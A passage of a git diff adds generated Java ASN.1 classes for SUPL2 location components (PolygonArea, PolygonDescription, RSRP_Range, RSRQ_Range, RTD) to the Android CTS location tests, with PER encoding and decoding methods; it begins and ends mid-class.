+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PhysCellId from encoded stream.
+ */
+ public static PhysCellId fromPerAligned(byte[] encodedBytes) {
+ PhysCellId result = new PhysCellId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PhysCellId = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java
new file mode 100755
index 0000000..3341d35
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonArea.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PolygonArea extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PolygonArea
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PolygonArea() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PolygonArea;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PolygonArea != null) {
+ return ImmutableList.of(TAG_PolygonArea);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PolygonArea from encoded stream.
+ */
+ public static PolygonArea fromPerUnaligned(byte[] encodedBytes) {
+ PolygonArea result = new PolygonArea();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PolygonArea from encoded stream.
+ */
+ public static PolygonArea fromPerAligned(byte[] encodedBytes) {
+ PolygonArea result = new PolygonArea();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PolygonDescription polygonDescription_;
+ public PolygonDescription getPolygonDescription() {
+ return polygonDescription_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PolygonDescription
+ */
+ public void setPolygonDescription(Asn1Object value) {
+ this.polygonDescription_ = (PolygonDescription) value;
+ }
+ public PolygonDescription setPolygonDescriptionToNewInstance() {
+ polygonDescription_ = new PolygonDescription();
+ return polygonDescription_;
+ }
+
+ private PolygonArea.polygonHysteresisType polygonHysteresis_;
+ public PolygonArea.polygonHysteresisType getPolygonHysteresis() {
+ return polygonHysteresis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PolygonArea.polygonHysteresisType
+ */
+ public void setPolygonHysteresis(Asn1Object value) {
+ this.polygonHysteresis_ = (PolygonArea.polygonHysteresisType) value;
+ }
+ public PolygonArea.polygonHysteresisType setPolygonHysteresisToNewInstance() {
+ polygonHysteresis_ = new PolygonArea.polygonHysteresisType();
+ return polygonHysteresis_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPolygonDescription() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPolygonDescription();
+ }
+
+ @Override public void setToNewInstance() {
+ setPolygonDescriptionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PolygonDescription.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "polygonDescription : "
+ + getPolygonDescription().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPolygonHysteresis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPolygonHysteresis();
+ }
+
+ @Override public void setToNewInstance() {
+ setPolygonHysteresisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PolygonArea.polygonHysteresisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "polygonHysteresis : "
+ + getPolygonHysteresis().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class polygonHysteresisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_polygonHysteresisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public polygonHysteresisType() {
+ super();
+ setValueRange("1", "100000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_polygonHysteresisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_polygonHysteresisType != null) {
+ return ImmutableList.of(TAG_polygonHysteresisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new polygonHysteresisType from encoded stream.
+ */
+ public static polygonHysteresisType fromPerUnaligned(byte[] encodedBytes) {
+ polygonHysteresisType result = new polygonHysteresisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new polygonHysteresisType from encoded stream.
+ */
+ public static polygonHysteresisType fromPerAligned(byte[] encodedBytes) {
+ polygonHysteresisType result = new polygonHysteresisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "polygonHysteresisType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PolygonArea = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java
new file mode 100755
index 0000000..684169a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PolygonDescription.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PolygonDescription
+ extends Asn1SequenceOf<Coordinate> {
+ //
+
+ private static final Asn1Tag TAG_PolygonDescription
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PolygonDescription() {
+ super();
+ setMinSize(3);
+setMaxSize(15);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PolygonDescription;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PolygonDescription != null) {
+ return ImmutableList.of(TAG_PolygonDescription);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PolygonDescription from encoded stream.
+ */
+ public static PolygonDescription fromPerUnaligned(byte[] encodedBytes) {
+ PolygonDescription result = new PolygonDescription();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PolygonDescription from encoded stream.
+ */
+ public static PolygonDescription fromPerAligned(byte[] encodedBytes) {
+ PolygonDescription result = new PolygonDescription();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public Coordinate createAndAddValue() {
+ Coordinate value = new Coordinate();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PolygonDescription = [\n");
+ final String internalIndent = indent + " ";
+ for (Coordinate value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java
new file mode 100755
index 0000000..03a04f6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRP_Range.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RSRP_Range extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RSRP_Range
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RSRP_Range() {
+ super();
+ setValueRange("0", "97");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RSRP_Range;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RSRP_Range != null) {
+ return ImmutableList.of(TAG_RSRP_Range);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RSRP_Range from encoded stream.
+ */
+ public static RSRP_Range fromPerUnaligned(byte[] encodedBytes) {
+ RSRP_Range result = new RSRP_Range();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RSRP_Range from encoded stream.
+ */
+ public static RSRP_Range fromPerAligned(byte[] encodedBytes) {
+ RSRP_Range result = new RSRP_Range();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RSRP_Range = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
new file mode 100755
index 0000000..97fbf54
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RSRQ_Range.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RSRQ_Range extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RSRQ_Range
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RSRQ_Range() {
+ super();
+ setValueRange("0", "34");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RSRQ_Range;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RSRQ_Range != null) {
+ return ImmutableList.of(TAG_RSRQ_Range);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RSRQ_Range from encoded stream.
+ */
+ public static RSRQ_Range fromPerUnaligned(byte[] encodedBytes) {
+ RSRQ_Range result = new RSRQ_Range();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RSRQ_Range from encoded stream.
+ */
+ public static RSRQ_Range fromPerAligned(byte[] encodedBytes) {
+ RSRQ_Range result = new RSRQ_Range();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RSRQ_Range = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java
new file mode 100755
index 0000000..5baafda
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTD.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class RTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_RTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RTD != null) {
+ return ImmutableList.of(TAG_RTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RTD from encoded stream.
+ */
+ public static RTD fromPerUnaligned(byte[] encodedBytes) {
+ RTD result = new RTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RTD from encoded stream.
+ */
+ public static RTD fromPerAligned(byte[] encodedBytes) {
+ RTD result = new RTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RTD.rTDValueType rTDValue_;
+ public RTD.rTDValueType getRTDValue() {
+ return rTDValue_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RTD.rTDValueType
+ */
+ public void setRTDValue(Asn1Object value) {
+ this.rTDValue_ = (RTD.rTDValueType) value;
+ }
+ public RTD.rTDValueType setRTDValueToNewInstance() {
+ rTDValue_ = new RTD.rTDValueType();
+ return rTDValue_;
+ }
+
+ private RTDUnits rTDUnits_;
+ public RTDUnits getRTDUnits() {
+ return rTDUnits_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RTDUnits
+ */
+ public void setRTDUnits(Asn1Object value) {
+ this.rTDUnits_ = (RTDUnits) value;
+ }
+ public RTDUnits setRTDUnitsToNewInstance() {
+ rTDUnits_ = new RTDUnits();
+ return rTDUnits_;
+ }
+
+ private RTD.rTDAccuracyType rTDAccuracy_;
+ public RTD.rTDAccuracyType getRTDAccuracy() {
+ return rTDAccuracy_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RTD.rTDAccuracyType
+ */
+ public void setRTDAccuracy(Asn1Object value) {
+ this.rTDAccuracy_ = (RTD.rTDAccuracyType) value;
+ }
+ public RTD.rTDAccuracyType setRTDAccuracyToNewInstance() {
+ rTDAccuracy_ = new RTD.rTDAccuracyType();
+ return rTDAccuracy_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRTDValue() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRTDValue();
+ }
+
+ @Override public void setToNewInstance() {
+ setRTDValueToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RTD.rTDValueType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rTDValue : "
+ + getRTDValue().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRTDUnits() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRTDUnits();
+ }
+
+ @Override public void setToNewInstance() {
+ setRTDUnitsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RTDUnits.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rTDUnits : "
+ + getRTDUnits().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRTDAccuracy() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRTDAccuracy();
+ }
+
+ @Override public void setToNewInstance() {
+ setRTDAccuracyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RTD.rTDAccuracyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rTDAccuracy : "
+ + getRTDAccuracy().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rTDValueType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rTDValueType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rTDValueType() {
+ super();
+ setValueRange("0", "16777216");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rTDValueType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rTDValueType != null) {
+ return ImmutableList.of(TAG_rTDValueType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rTDValueType from encoded stream.
+ */
+ public static rTDValueType fromPerUnaligned(byte[] encodedBytes) {
+ rTDValueType result = new rTDValueType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rTDValueType from encoded stream.
+ */
+ public static rTDValueType fromPerAligned(byte[] encodedBytes) {
+ rTDValueType result = new rTDValueType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rTDValueType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rTDAccuracyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rTDAccuracyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rTDAccuracyType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rTDAccuracyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rTDAccuracyType != null) {
+ return ImmutableList.of(TAG_rTDAccuracyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rTDAccuracyType from encoded stream.
+ */
+ public static rTDAccuracyType fromPerUnaligned(byte[] encodedBytes) {
+ rTDAccuracyType result = new rTDAccuracyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rTDAccuracyType from encoded stream.
+ */
+ public static rTDAccuracyType fromPerAligned(byte[] encodedBytes) {
+ rTDAccuracyType result = new rTDAccuracyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
